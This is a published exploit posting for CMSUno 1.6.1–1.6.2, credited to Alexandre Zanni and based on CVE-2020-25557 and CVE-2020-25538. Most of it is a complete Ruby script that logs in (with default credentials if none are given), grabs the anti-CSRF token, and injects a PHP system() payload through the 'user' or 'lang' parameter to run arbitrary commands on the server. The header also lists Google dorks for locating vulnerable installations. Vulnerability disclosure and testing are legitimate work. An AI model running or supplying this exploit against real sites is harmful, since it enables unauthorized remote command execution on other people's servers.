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CMSUno 1.6.2 Remote Code Execution

CMSUno 1.6.2 Remote Code Execution
Posted Jan 28, 2021
Authored by Alexandre Zanni

CMSUno version 1.6.2 authenticated remote code execution exploit. The original discovery for the vulnerability leveraged is attributed to Fatih Celik in November of 2020.

tags | exploit, remote, code execution
advisories | CVE-2020-25538, CVE-2020-25557
SHA-256 | 2477146e721d33c19e7c9e103dfd83b0cfc4343413f007eb0260e88e64259065

CMSUno 1.6.2 Remote Code Execution

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#!/usr/bin/env ruby

# Exploit
## Title: CMSUno 1.6.1 <= 1.6.2 - Remote Code Execution (Authenticated)
## Google Dorks:
## inurl:uno/central.php
## inurl:uno/config.php
## inurl:uno.php intitle:"CMSUno - Login"
## Author: noraj (Alexandre ZANNI) for SEC-IT (https://secit.fr)
## Author website: https://pwn.by/noraj/
## Date: 2021-01-15
## Vendor Homepage: https://www.boiteasite.fr/cmsuno.html
## Software Link: https://github.com/boiteasite/cmsuno/archive/1.6.2.tar.gz
## Version: 1.6.1, 1.6.2
## Tested on: Bludit
## - 1.6.3 ❌
## - 1.6.2 ✅
## - 1.6.1 ✅
## - 1.6.0 ❌
## - 1.5.7 ❌
## Patch: Update to 1.6.3

# Vulnerabilities
## Discoverer: Fatih Çelik
## Date: 2020/09/30
## Discoverer website: https://fatihhcelik.blogspot.com
## Discovered on CMSUno 1.6.2 and tested on Kali Linux 2020.2
## Vulnerability 1:
## Title: CMSUno 1.6.2 - 'user' Remote Code Execution (Authenticated)
## CVE: CVE-2020-25557
## References: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution.html
## Vulnerability 2:
## Title: CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)
## CVE: CVE-2020-25538
## References: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution_30.html

require 'httpclient'
require 'docopt'

# username = 'cmsuno'
# password = '654321'
# root_url = 'http://localhost:5000/'
# command = 'pwd'

doc = <<~DOCOPT
CMSUno 1.6.1 <= 1.6.2 - Remote Code Execution (Authenticated)

Usage:
#{__FILE__} -r <url> -c <cmd> [-u <username>] [-p <password>] [-t <tech>] [--debug]
#{__FILE__} -H | --help

Options:
-r <url>, --root-url <url> Root URL (base path) including HTTP scheme, port and root folder
-u <username>, --user <username> user name (if not default: cmsuno)
-p <password>, --pass <password> User password (if not default: 654321)
-c <cmd>, --command <cmd> Command to execute on the target
-t <tehc>, --technique <tech> Technique: exploiting 'user' param (default, with output) or 'lang' param (blind)
--debug Display arguments
-h, --help Show this screen

Examples:
#{__FILE__} -r http://example.org -c id
#{__FILE__} -r https://example.org:5000/cmsuno -c 'touch hackproof' -u john -p admin1234 -t lang
DOCOPT

# Get anti-CSRF token
def get_unox(client, auth_status)
print '[*] Fetching anti-CSRF token: '
res = client.get(LOGIN_URL)
case auth_status
when false
regexp = /name="unox" value="([a-f0-9]{32}?)"/
when true
regexp = /Unox='([a-f0-9]{32}?)'/
end
token = regexp.match(res.body).captures[0].chomp
puts token
return token
end

def login(client, user, pass)
data = {
'unox' => get_unox(client, false),
'user' => user,
'pass' => pass,
}
puts '[*] Logging in'
res = client.post(LOGIN_URL, data)
return res.body
end

def exploit(client, user, pass, cmd, tech)
payload = "#{user}\";$pass='#{pass}';system('#{cmd}');?>// "
case tech
when 'user'
data = "action=sauvePass&unox=#{get_unox(client, true)}&user0=#{user}&pass0=#{pass}&user=#{payload}&pass=#{pass}&lang=en"
when 'lang'
data = "action=sauvePass&unox=#{get_unox(client, true)}&user0=&pass0=&user=&pass=&lang=#{payload}"
else
raise 'Wrong exploitation technique argument value'
end
headers = {
'X-Requested-With' => 'XMLHttpRequest'
}
#client.proxy = 'http://localhost:8080'
puts "[*] Starting exploitation, using '#{tech}' param technique"
client.post(VULNERABLE_URL, data, headers)
# Login again to trigger uno/password.php
clnt2 = HTTPClient.new
return login(clnt2, user, pass).lines[..-2].join
end

begin
args = Docopt.docopt(doc)
pp args if args['--debug']

username = args['--user'] || 'cmsuno'
password = args['--pass'] || '654321'
technique = args['--technique'] || 'user'
LOGIN_URL = "#{args['--root-url']}/uno.php"
VULNERABLE_URL = "#{args['--root-url']}/uno/central.php"

clnt = HTTPClient.new
login(clnt, username, password)
output = exploit(clnt, username, password, args['--command'], technique)
print '[*] Command output:'
case technique
when 'user'
puts "\n#{output}"
when 'lang'
puts ' blind RCE, no output with this exploitation technique'
end
rescue Docopt::Exit => e
puts e.message
end
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